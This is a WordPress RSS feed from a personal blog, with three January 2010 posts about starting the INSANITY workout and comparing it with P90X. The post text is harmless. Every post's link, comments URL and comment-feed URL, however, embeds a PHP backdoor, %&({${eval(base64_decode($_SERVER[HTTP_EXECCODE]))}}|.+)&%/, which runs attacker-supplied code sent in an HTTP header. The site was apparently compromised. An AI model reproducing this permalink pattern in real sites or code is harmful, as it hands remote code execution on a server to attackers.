<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>themeltons.net &#187; beachbody</title>
	<atom:link href="http://www.themeltons.net/tag/beachbody/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.themeltons.net</link>
	<description></description>
	<lastBuildDate>Fri, 21 May 2010 18:17:56 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Cardio and Power Resistance &#8211; Week 1</title>
		<link>http://www.themeltons.net/2010/01/13/cardio-and-power-resistance-week-1/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.themeltons.net/2010/01/13/cardio-and-power-resistance-week-1/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 13 Jan 2010 23:14:00 +0000</pubDate>
		<dc:creator>Jim</dc:creator>
				<category><![CDATA[Fitness]]></category>
		<category><![CDATA[Real World]]></category>
		<category><![CDATA[beachbody]]></category>
		<category><![CDATA[insanity]]></category>
		<category><![CDATA[P90X]]></category>

		<guid isPermaLink="false">http://www.themeltons.net/2010/01/13/cardio-and-power-resistance-week-1/</guid>
		<description><![CDATA[Still at it.&#160; Again, didnâ€™t get started until late.&#160; This time, I got busy doing other things (cough, playing games, cough) and I didnâ€™t get moving until it was too late.
Another 40 minutes.&#160; This time, roughly the same cardio circuits, but with pushups and other shoulder and leg exercises thrown in for good measure.&#160; Iâ€™m [...]]]></description>
			<content:encoded><![CDATA[<p>Still at it.&#160; Again, didnâ€™t get started until late.&#160; This time, I got busy doing other things (cough, playing games, cough) and I didnâ€™t get moving until it was too late.</p>
<p>Another 40 minutes.&#160; This time, roughly the same cardio circuits, but with pushups and other shoulder and leg exercises thrown in for good measure.&#160; Iâ€™m thinking P90X may be easier.</p>
<p>If I send in before and after pictures, they say I can get a T-Shirt for completing <a title="INSANITY - Beachbody.com" href="http://www.beachbody.com/product/fitness_programs/best_sellers/insanity.do?code=BBHOME_CONTROL_INS" target="_blank">INSANITY</a>.&#160; Iâ€™ma get my damn T-Shirt.&#160; Iâ€™ll post them hereâ€¦if I have the courage to do so.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.themeltons.net/2010/01/13/cardio-and-power-resistance-week-1/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Plyometric Cardio Circuit &#8211; Week 1</title>
		<link>http://www.themeltons.net/2010/01/12/plyometric-cardio-circuit-week-1/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.themeltons.net/2010/01/12/plyometric-cardio-circuit-week-1/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 12 Jan 2010 23:09:00 +0000</pubDate>
		<dc:creator>Jim</dc:creator>
				<category><![CDATA[Fitness]]></category>
		<category><![CDATA[Real World]]></category>
		<category><![CDATA[beachbody]]></category>
		<category><![CDATA[insanity]]></category>
		<category><![CDATA[P90X]]></category>

		<guid isPermaLink="false">http://www.themeltons.net/2010/01/12/plyometric-cardio-circuit-week-1/</guid>
		<description><![CDATA[Well, I survived Day 2!&#160; Didnâ€™t get started until after work because I didnâ€™t get Dawn started early enough.&#160; This was pretty much the most difficult cardio workout Iâ€™ve done in a long time.&#160; The warm up (10 minutes or so worth) is more difficult that large chunks of P90X Plyo. Itâ€™s essentially cardio circuits [...]]]></description>
			<content:encoded><![CDATA[<p>Well, I survived Day 2!&#160; Didnâ€™t get started until after work because I didnâ€™t get Dawn started early enough.&#160; This was pretty much the most difficult cardio workout Iâ€™ve done in a long time.&#160; The warm up (10 minutes or so worth) is more difficult that large chunks of <a title="P90X Plyo" href="http://www.beachbody.com/product/fitness_programs/p90x.do?code=BBHOME_CONTROL_P90X" target="_blank">P90X Plyo</a>. Itâ€™s essentially cardio circuits over and over and over.&#160; This stuff is HARD!</p>
<p>Should sleep well tonight.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.themeltons.net/2010/01/12/plyometric-cardio-circuit-week-1/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Start the Insanity</title>
		<link>http://www.themeltons.net/2010/01/11/start-the-insanity/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.themeltons.net/2010/01/11/start-the-insanity/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 11 Jan 2010 17:59:00 +0000</pubDate>
		<dc:creator>Jim</dc:creator>
				<category><![CDATA[Fitness]]></category>
		<category><![CDATA[Real World]]></category>
		<category><![CDATA[beachbody]]></category>
		<category><![CDATA[insanity]]></category>

		<guid isPermaLink="false">http://www.themeltons.net/2010/01/11/start-the-insanity/</guid>
		<description><![CDATA[Technorati Tags: beachbody,insanity
I started a new workout today.&#160; Another Beachbody workout called INSANITY.&#160; 
&#160;
Based on the way I felt after the fit test, I think I know where the name came from.&#160; It appears to be 60 days of INTENSE cardio exercise, which will (hopefully) help me lose the nearly 20 pounds Iâ€™ve added since [...]]]></description>
			<content:encoded><![CDATA[<div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:0767317B-992E-4b12-91E0-4F059A8CECA8:66d2805a-78c4-4f63-bd4b-2234836145bf" class="wlWriterEditableSmartContent">Technorati Tags: <a href="http://technorati.com/tags/beachbody" rel="tag">beachbody</a>,<a href="http://technorati.com/tags/insanity" rel="tag">insanity</a></div>
<p>I started a new workout today.&#160; Another <a title="Beachbody.com" href="http://www.beachbody.com" target="_blank">Beachbody</a> workout called <a title="INSANITY" href="http://www.beachbody.com/product/fitness_programs/insanity.do?code=BBHOME_CONTROL_INS" target="_blank">INSANITY</a>.&#160; </p>
<p>&#160;</p>
<p>Based on the way I felt after the fit test, I think I know where the name came from.&#160; It appears to be 60 days of INTENSE cardio exercise, which will (hopefully) help me lose the nearly 20 pounds Iâ€™ve added since the Chicago Marathon.</p>
<p>&#160;</p>
<p>My intent is to write about this on a daily basis to let the internets know how itâ€™s going and also as a sort of accountability to myself.&#160; The Fit Test was difficult.&#160; I was ready to puke on the spot.&#160; Tomorrowâ€™s workout is called Plyometric Cardio Circuit.&#160; It looks really intense.</p>
<p>&#160;</p>
<p>More tomorrowâ€¦if Iâ€™m able to move.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.themeltons.net/2010/01/11/start-the-insanity/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
